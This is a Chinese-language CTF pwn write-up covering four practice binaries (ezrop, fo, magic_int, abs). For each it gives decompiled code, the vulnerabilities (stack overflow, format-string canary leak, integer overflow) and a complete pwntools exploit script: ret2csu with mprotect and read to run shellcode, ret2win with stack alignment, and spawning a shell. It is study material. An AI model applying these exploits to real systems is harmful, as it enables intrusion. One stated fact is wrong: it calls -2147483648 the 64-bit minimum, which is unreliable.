ezrop
总结
这题主要是通过栈溢出然后通过ret2csu传参mprotect函数改执行权限,再次溢出用read函数写入shellcode,再返回到写入shellcode地址的位置执行shell
- mprotect函数
题目分析
checksec
[*] '/home/yang/桌面/day1/ezrop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
vuln();
return 0;
}
vuln
ssize_t vuln()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
return read(0, buf, 0x200uLL);
}
漏洞点
vuln函数中的read函数
知识点
- mprotect通过传入三个参数进行更改地址权限
- ret2csu进行传参,注意ret_csu的传参顺序
利用思路
从ida列表中可以很明显发现有mprotect函数和read函数,因此我们初步判断可以使用这两个函数进行写入并执行shellcode,用ROPgadget发现并没有传入三个参数的地址,因此考虑使用csu进行传参
EXP
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './ezrop'
io = process(proname)
#io = gdb.debug("./ezrop","break main")
elf = ELF(proname)
pop_addr = 0x00000000004006e3
pop_addr2 = 0x00000000004006e1
first_csu = 0x0000000004006D6
second_csu = 0x00000000004006C0
def ret_csu(r12, r13, r14, r15, last):
payload = 88 * b'b'
payload += p64(first_csu) + b'a' * 8
payload += p64(0) + p64(1)
payload += p64(r12)
payload += p64(r13) + p64(r14) + p64(r15)
payload += p64(second_csu)
payload += b'a' * 56
payload += p64(last)
return payload
mprotect = elf.got['mprotect']
read = elf.got['read']
main = elf.symbols['main']
p = ret_csu(mprotect,0x7,0x1000,0x600000,main)
p2 = ret_csu(read,0x100,0x600000,0,0x600000)
io.sendline(p)
io.sendline(p2)
io.sendline(asm(shellcraft.sh()))
io.interactive()
fo
总结
这题可以使用movaps了因为栈没对齐导致了程序出错,可以在ida中使用ALT+T找一个ret的地址进行栈对齐
CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎 (zhihu.com)
题目分析
checksec
[*] '/home/yang/桌面/day1/fo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
speaking();
leak();
return 0;
}
leak
unsigned __int64 leak()
{
char s[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts(
"I heared that you are interested in the CTF.\n"
" I hope that you will hold on to keep your interest\n"
" tell me,will you?");
fgets(s, 80, stdin);
puts("I will remember what you said");
printf(s);
puts("wait for your good news...");
gets(s);
return __readfsqword(0x28u) ^ v2;
}
backdoor
int backdoor()
{
return system("cat flag;");
}
漏洞点
- leak函数中printf函数格式化字符串溢出泄露canary
- leak函数中gets函数栈溢出到bd函数
知识点
- 遇到movaps报错,栈对齐,在前面进行填充一个ret的地址即可
利用思路
EXP
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './fo'
io = process(proname)
#io = gdb.debug("./fo","break main")
elf = ELF(proname)
backdoor = 0x000000000040080D
io.recv()
io.sendline(b'%17$p')
io.recvuntil(b'I will remember what you said\n')
canary = io.recvuntil(b'\n')[:-1]
canary = int(canary,16)
print (canary)
p = b'a'*88 +p64(canary)+b'a'*8+p64(0x0000000000400822)+p64(backdoor)
io.sendline(p)
io.interactive()
magic_int
总结
这题一开始gets默认把换行符当作输入内容,所以我们要直接send一个数字,这个数字要小于零并且其负数也要小于零,这个数可以是最小负数,64位最小负数为-2147483648,然后条件语句if里输入的数要和一个字符串相同,重点根据c语言a=="aaa",比较的是地址,因此填入aaaa的地址数字即可
题目分析
checksec
[*] '/home/yang/桌面/day1/magic_int'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析
main
__isoc99_scanf(&unk_400959, &v4);
if ( v4 < 0 )
{
v4 = -v4;
if ( v4 < 0 )
EDG();
}
EDG
__int64 EDG()
{
char v1[112]; // [rsp+0h] [rbp-70h] BYREF
puts(s);
return gets(v1);
}
ThatMan
int ThatMan()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h] BYREF
puts(&byte_4008F8);
__isoc99_scanf(&unk_400959, &v1);
result = v1;
if ( (char *)v1 == "clearlove7" )
result = system("/bin/sh");
return result;
}
漏洞点
- main函数中整数溢出
- EDG函数中栈溢出
- ThatMan函数中==漏洞
知识点
- C语言中用==和字符串进行比较时比较的是地址
- 最小负数为-2147483648即0x80000000
- gets函数会默认把\n当作输入内容因此再send的时候不能使用sendline
利用思路
首先通过输入最小负数绕过前面的限制进入EDG函数,然后用gets栈溢出到ThatMan函数中然后再输入字符串的地址即可成功利用
EXP
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './magic_int'
io = process(proname)
#io = gdb.debug(proname,"break main")
ret = 0x0000000000400831
io.send("-2147483648".encode())
payload = b'a'*(0x70+8)+p64(ret)+p64(0x40074c)
io.sendline(payload)
io.sendline(str(4196700).encode())
io.interactive()
abs
总结
要善用ida改参数名字以方便观看逻辑
题目分析
checksec
[*] '/home/yang/桌面/day1/abs'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v5; // [rsp+Ch] [rbp-84h] BYREF
char s[92]; // [rsp+10h] [rbp-80h] BYREF
int v7; // [rsp+6Ch] [rbp-24h] BYREF
time_t timer; // [rsp+70h] [rbp-20h] BYREF
__int64 v9; // [rsp+78h] [rbp-18h]
unsigned int v10; // [rsp+80h] [rbp-10h]
int v11; // [rsp+84h] [rbp-Ch]
unsigned int v12; // [rsp+88h] [rbp-8h]
unsigned int v13; // [rsp+8Ch] [rbp-4h]
init(argc, argv, envp);
v3 = time(&timer);
srand(v3);
memset(s, 0, 0x50uLL);
puts("What's your name?");
v11 = read(0, s, 0x50uLL);
puts("Tell me your a g e:");
fflush(stdout);
__isoc99_scanf("%d", &v7);
puts("What's your lucky number?");
__isoc99_scanf("%d", &v5);
v10 = abs32(v5);
v9 = (int)(v10 + v11);
v12 = 1;
if ( v9 >= 0 )
{
s[10] = 0;
printf("Hi,%s And see you next time!\n", s);
v12 = 0;
}
puts("Recording...");
if ( v12 )
v13 = rand() % (((int)abs32(v5 + v7) >> v7) + 1);
else
v13 = rand() % 10000;
record(s, v5, v13, v12);
return 0;
}
record
void *__fastcall record(const char *a1, unsigned int a2, unsigned int a3, int a4)
{
size_t v4; // rax
void *result; // rax
char dest[16]; // [rsp+20h] [rbp-10h] BYREF
printf("\n name: %s \n lucky number: %d \n tag: %d\n DOWN!\n", a1, a2, a3);
v4 = strlen(a1);
if ( a4 )
result = memcpy(&dest[a3], a1, v4);
else
result = memcpy(dest, a1, v4);
return result;
}
present
int present()
{
return system("/bin/sh");
}
漏洞点
main函数中的abs函数整数溢出
record函数中的memcpy函数栈溢出
知识点
- abs函数传入0x80000000即2147483648最终会得到一个负数
- 栈对齐不仅可以使用ret来填充栈,也可以将后门函数的地址+1,目的是将pop ebp舍去,可能会导致bd函数崩溃,但我们需要的是bd函数中的sysetm函数只需要call system就可以
利用思路
输入age和luckynum为了使v9<0,我们需要传入0x80000000,我们还需要让随机数为一个固定的小数,所以luckynum同样传入0x80000000,这样随机数即为0(rand%1),在record中将name复制给了dest因此name输入payload进行栈溢出
EXP
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './abs'
io = process(proname)
#io = gdb.debug(proname,"break record")
elf = ELF(proname)
io.recv()
p = cyclic(24)+p64(0x00000000004009D8)
io.sendline(p)
io.recv()
io.sendline(str(2147483648))
io.recv()
io.sendline(str(2147483648))
io.recv()
io.interactive()